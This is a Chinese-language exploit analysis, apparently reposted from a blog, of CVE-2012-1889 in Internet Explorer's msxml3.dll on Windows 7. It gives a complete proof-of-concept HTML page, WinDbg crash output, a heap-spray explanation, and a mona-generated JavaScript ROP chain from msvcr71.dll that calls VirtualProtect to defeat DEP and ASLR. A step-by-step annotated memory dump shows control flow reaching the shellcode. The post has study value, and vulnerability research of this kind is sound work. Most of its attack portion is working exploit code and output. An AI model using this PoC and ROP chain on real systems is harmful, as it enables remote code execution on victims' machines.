概述
一 直接运行网上的POC 网页
双击cve-2012-1889-test-poc.html,发现IE崩溃了,此时的崩溃信息如下:
应用程序版本: 8.0.7601.17514
应用程序时间戳: 4ce79912
故障模块名称: msxml3.dll
故障模块版本: 8.110.7601.17514
故障模块时间戳: 4ce7b8e9
异常代码: c0000005
异常偏移: 0004e2d9
二 使用windbg调试poc
由于ASLR的存在,崩溃的msxml3.dll在每次重启IE加载的时候基地址都不同,所以需要调试出每次加载的基地址。
1 双击运行cve-2012-1889-test-poc.html,然后用windbg attach,
2 此时还没有加载msxml3.dll .所以我们使用sxe ld:msxml3 断在msxml3.dll的加载,然后g ,双击IE上面的运行activieX插件。
3 windbg会断在msxml3的加载,windbg输出信息如下,
ModLoad: 72990000 72ac3000 C:WindowsSysWOW64msxml3.dlleax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=7ef99000 edi=03086ed8eip=77a9fc52 esp=03086dac ebp=03086e00 iopl=0 nv up ei pl zr na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246ntdll!ZwMapViewOfSection+0x12:77a9fc52 83c404 add esp,4
从这里可以看出msxml3的基地址是72990000,这个基地址和之前调试的不一样。
才是我们断在72990000 + 0004e2d9 异常偏移的位置。
ba e 1 72990000 + 0004e2d9 ; g; 之后windbg断了下来
ModLoad: 03f90000 040ec000 C:WindowsSysWOW64ole32.dllModLoad: 72970000 72aa3000 C:WindowsSysWOW64msxml3.dllModLoad: 728b0000 72962000 C:WindowsSysWOW64jscript.dll(904.194): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=0c0c0c0c ebx=00000000 ecx=729e1922 edx=00000001 esi=0c0c0c0c edi=0323d288eip=729be2d9 esp=0323cf2c ebp=0323d048 iopl=0 nv up ei pl nz na pe nccs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WindowsSysWOW64msxml3.dll - msxml3!DllRegisterServer+0x883c:729be2d9 8b08 mov ecx,dword ptr [eax] ds:002b:0c0c0c0c=???????? //这里访问异常了。而0c0c0c0c是我们通过栈赋值的,可以找到poc代码如下
<html>
<head>
<title>CVE 2012-1889 PoC</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
var obj = document.getElementById('poc').object;
var src = unescape("%u0c0c%u0c0c");//这里对栈进行赋值
while (src.length < 0x1002) src += src;
src = "\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
</script>
</body>
</html>
之后的汇编代码:
73d6e2d9 8b08 mov ecx,dword ptr [eax] ds:002b:0c0c0c08=0c0c0c0c
73d6e2db ff7524 push dword ptr [ebp+24h]
73d6e2de ff7520 push dword ptr [ebp+20h]
73d6e2e1 57 push edi
73d6e2e2 6a03 push 3
73d6e2e4 ff7514 push dword ptr [ebp+14h]
73d6e2e7 68b4d3d473 push offset msxml3!GUID_NULL (73d4d3b4)
73d6e2ec 53 push ebx
73d6e2ed 50 push eax
73d6e2ee ff5118 call dword ptr [ecx+18h] //call
73d6e2f1 89450c mov dword ptr [ebp+0Ch],eax
73d6e2f4 8b06 mov eax,dword ptr [esi]
73d6e2f6 56 push esi
73d6e2f7 ff5008 call dword ptr [eax+8] //call
三 堆喷射 Heap Spray
由于浏览器环境很复杂,很难布置shellcode 所以我们可以使用堆喷射技术来布置shellcode.
Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。
当申请大量的内存到时候,堆很有可能覆盖到的地址是0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等等几个地址,可以参考下面的简图说明。一般的网马里面进行堆喷时,申请的内存大小一般都是200M,主要是为了保证能覆盖到0x0C0C0C0C地址。
使用堆喷射的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后利用JavaScript申请大量堆内存,并用包含着0×90和ShellCode的“内存片”覆盖这些内存。
通常,JavaScript会从内存的低地址向高地址分配内存,因此申请的内存超过200MB(200MB = 200*1024*1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有ShellCode的内存片覆盖。只要内存片中的0×0C能够命中0x0C0C0C0C的位置,ShellCode就能最终得到执行。
一般堆/栈溢出都可以控制EIP。
四 DEP 和 ASLR围攻下的突破
控制了EIP后,面临的问题有
1 DEP
DEP 保护是缓冲区溢出攻击出现后,出现的一种防护机制, 它的核心思想就是将内存分块后,设置不同的保护标志, 令表示代码的区块拥有执行权限,而保存数据的区块仅有 读写权限,进而控制数据区域内的shellcode无法执行。
DEP的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫SafeSEH。
另一种为硬件实现,由英特尔这种CPU硬件生产厂商固化到硬件中的,也称作NX保护机制。
解决方案:通过ROP链来关闭对某段地址的DEP,具体可以使用的函数有ZwSetInfomationProcess,VirtualProtect,VitualAlloc。
ROP,即使用一些POP XXX RET 等指令来合法的控制EIP,至于合法的原因是这些指令都是二进制自带的,所以系统不会阻止它的运行。不过在合法控制EIP前,我们需要
将栈转移到我们可控的内存空间,我们将这个方法称之为StackPivot的小构件(Gadgets),例如XCHG EAX,ESP指令,因为我们要利用的数据在上一步精准堆喷射被存放在0x0C0C0C0C,而EAX的值也是0x0C0C0C0CXCHG EAX,ESP后,ESP变为0X0C0C0C0C,即我们自己构筑了栈,并且0x0c0c0c0c这块内存放置了我们自己的ROP信息。
之所以可以这样用是因为在X86架构中,在调用完一个函数,最后一条指令是ret N,他的作用是把esp指向的地址赋值给eip,即EIP=[ESP],所以我们控制了esp也就是控制了eip.rop之所以强悍当然还少另外一个pop reg, 这个pop reg + ret 。直接可以通过esp指向的内容给寄存器赋值。
本次使用VirtualProtect修改内存区域为可写实现关闭DEP
ASLR
即加载基址随机化,通过模块加载基址随机化实现使攻击者无法准确定位函数。一般实现方法是将高位地址随机化,低位地址保持不变。不过有些软件或者模块为了兼容性
在编译的时候选择了抛弃ASLR,在本例子中,我们就使用了jre-6u37.rar中的msvcr71.dll 模块,这个模块没有开启ASLR。通过这个模块我们就可以提取ROP需要的东西了。
仅需要!mona rop -m msvcr71.dll 就可以得到需要的ROP
我们使用JAVASCRIPT的ROP Chain for VirtualProtect()
*** [ JavaScript ] ***
//rop chain generated with mona.py - www.corelan.be
rop_gadgets = unescape(
"%u7cff%u7c35" + // 0x7c357cff : ,# POP EBP # RETN [MSVCR71.dll]
"%u7cff%u7c35" + // 0x7c357cff : ,# skip 4 bytes [MSVCR71.dll]
"%u098d%u7c36" + // 0x7c36098d : ,# POP EBX # RETN [MSVCR71.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"%u58e6%u7c34" + // 0x7c3458e6 : ,# POP EDX # RETN [MSVCR71.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
"%u4f23%u7c35" + // 0x7c354f23 : ,# POP ECX # RETN [MSVCR71.dll]
"%ueb06%u7c38" + // 0x7c38eb06 : ,# &Writable location [MSVCR71.dll]
"%u2eae%u7c34" + // 0x7c342eae : ,# POP EDI # RETN [MSVCR71.dll]
"%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"%uaceb%u7c34" + // 0x7c34aceb : ,# POP ESI # RETN [MSVCR71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
"%u5194%u7c34" + // 0x7c345194 : ,# POP EAX # RETN [MSVCR71.dll]
"%ua140%u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]
"%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
"%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
""); // :
五 cve-2012-1889.html的精确堆喷射的分析
0:005> dd 0c0c0c0c L30
0c0c0c0c 7c34d202 7c357cff 7c348b05 7c34d202
0c0c0c1c 7c34d202 7c34d202 7c34d202 7c357cff
0c0c0c2c 7c357cff 7c36098d 00000201 7c3458e6
0c0c0c3c 00000040 7c354f23 7c38eb06 7c342eae
0c0c0c4c 7c34d202 7c34aceb 7c3415a2 7c345194
0c0c0c5c 7c37a151 7c378c81 7c345c30 000105b9
0c0c0c6c ffffe800 5ec1ffff 070e4c30 e9d8fae2
0c0c0c7c 2271dd98 b8db39f3 6ac43d7c 99216184
0c0c0c8c 609e1865 125f930b 953d6290 3a6e1829
0c0c0c9c 277cd756 4ac8d7f6 0a0940a0 b90d75a4
0c0c0cac 374d1c67 2273b3dd 3f1d66b0 0b75a3d4
0c0c0cbc 47ce70c8 7bb679a9 cae1b08b 9356248f
//the start address 0c0c0c00c
//0c0c0c0c 7c34d202 //step 2 :7c34d202 ret ;相当于出栈pop,
//0c0c0c10 7c357cff //step 3: 7c357cff pop ebp ;ret ;直接跳过四个字节地址到0c0c0c18,因为0c0c0c14我们之前使用过,而且对本次无效,所以跳过
//0c0c0c14 7c348b05 //step 1: 7c348b05 xchg eax,esp ; ret ,通过xchg 控制esp,从而控制eip,此时esp = 0c0c0c0c,而eip =[esp]=7c34d202.其实就是让程序运行esp指向的指令,此时esp指向的内容是我们控制的,可以通过精确堆喷射赋值。
//0c0c0c18 7c34d202 //step 4:7c34d202 ret
//0c0c0c1c 7c34d202 //step 5:7c34d202 ret
//0c0c0c20 7c34d202 //step 6:7c34d202 ret
//0c0c0c24 7c34d202 //step0 + 7: 7c34d202 ret
// The real rop chain
//0c0c0c28 7c357cff //step 8: 7c357cff pop ebp ; ret;走完这一步 ebp= 7c357cff , skip next 4 address ,
//0c0c0c2c 7c357cff //skiped
//0c0c0c30 7c36098d //step9: 7c36098d pop ebx # ret ;因为下面的esp是0c0c0c34,所以pop ebx后,ebx就是00000201;skip 4 byte address
//0c0c0c34 00000201 //skiped
//0c0c0c38 7c3458e6 //step10:7c3458e6 pop edx ; ret ;走完这一步,edx的值为00000040。
//0c0c0c3c 00000040 //skiped
//0c0c0c40 7c354f23 //step11:c354f23 pop ecx ; ret;走完这一步,ecx为7c38eb06
//0c0c0c44 7c38eb06 //skiped
//0c0c0c48 7c342eae //step12:7c342eae pop edi ; ret ,走完后edi为7c34d202,即ret(7c34d202的内容为ret)
//0c0c0c4c 7c34d202 //skiped
//0c0c0c50 7c34aceb //step13:7c34aceb pop esi ; ret ,走完这一步后esi为 7c3415a2,(7c3415a2 ff20 jmp dword ptr [eax])
//0c0c0c54 7c3415a2 //skiped
//0c0c0c58 7c345194 //step14:7c345194 pop eax ; ret ,走完这一步eax = 7c37a151
//0c0c0c5c 7c37a151 //skiped
//0c0c0c60 7c378c81 //step15:7c378c81 pushad ; add al,0EFh ;7c378c84 c3 ret ;
pushad的压栈顺序eax ecx edx ebx esp ebp esi edi ,完后,edi 在栈顶,所以上面的ret完后,会走pushad压入的栈顶ret,继续走就是JMP [EAX]了
会JMP跳转到VirtualProtect,(想下CALL的流程,剩下的压栈完全模拟CALL,push 第一个参数 ,push 第二个参数 ,…… push 返回地址,JMP),不过此时的返回地址是
EBP,也就是payload address,也就是说当我们调用完VirtualProtect后,去执行shellcode.
7c3415a2 ff20 jmp dword ptr [eax] ds:002b:7c37a140={kernel32!VirtualProtect (7681435f)}
还有一个问题,在pushad后,执行了一个 ,add al ,0efh. 这是因为没有找到合适的pushad ret,所以只有退一步,找的范围更广一些。不过既然al加了ef,所以之前push eax我们要
先减去0EFh.
执行完VirtualProtect后,去执行pre_shellcode,此时pre_shellcode地址是ebp= 7c357cff ,
即7c357cff 5d pop ebp
7c357d00 c3 ret
看样子是需要跳转esp,为后面调用真正的shellcode做铺垫。
//0c0c0c64 7c345c30 // push esp; ret 这两句话的意思是,eip=esp =0c0c0c68 ,即去执行shellcode了
shellocode部分:
//0c0c0c68 real_shellcode
记住一点:ret后eip指向ret之前之后esp所指向的地址。eip will be [esp] ,esp is the what before ret
六 运行后弹出了框
参考文章:
http://blog.csdn.net/enjoy5512/article/details/52662158
https://bbs.pediy.com/thread-219222.htm
https://bbs.pediy.com/thread-215974.htm
这个漏洞里面有很多东西值得学习
最后
以上就是受伤煎蛋为你收集整理的WIN7_64 + CVE-2012-1889的分析的全部内容,希望文章能够帮你解决WIN7_64 + CVE-2012-1889的分析所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复